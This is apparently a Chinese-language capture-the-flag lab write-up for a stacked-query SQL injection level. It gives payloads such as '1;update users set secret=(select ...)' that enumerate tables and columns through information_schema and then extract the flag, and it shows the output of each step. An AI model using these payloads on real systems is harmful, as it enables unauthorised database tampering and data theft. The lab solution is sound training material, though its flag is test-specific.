S10 堆叠查询
1.打开靶机
有一条提示
这一关用的是 multi_query(),允许一句之后再来一句(用 ; 分隔)—— 所以你能写库。
下面直接贴了users表
下面是 users 表现在的样子:
id username email secret
1 admin [email protected] NULL
2 alice [email protected] alice 没什么秘密
3 bob [email protected] bob 只写日记
4 carol [email protected] 这是 carol 的小秘密
5 guest [email protected] NULL
所以我们可以直接改表
2.开始注入
查表
1;update users set secret=database() where id=1
得到表名
sqli_l10
说明注入成功
查表名
1;update users set secret=(select group_concat(table_name) from information_schema.tables where table_schema=database()) where id=1
得到表名
comments,flags,logs,news,products,subs,users,vip
查列名
1;update users set secret=(select group_concat(column_name) from information_schema.columns where table_name="flags") where id=1
得到列名
flag,level,note
查元素
1;update users set secret=(select flag from flags) where id=1
得到flag
flag{sqli_10_stacked_query}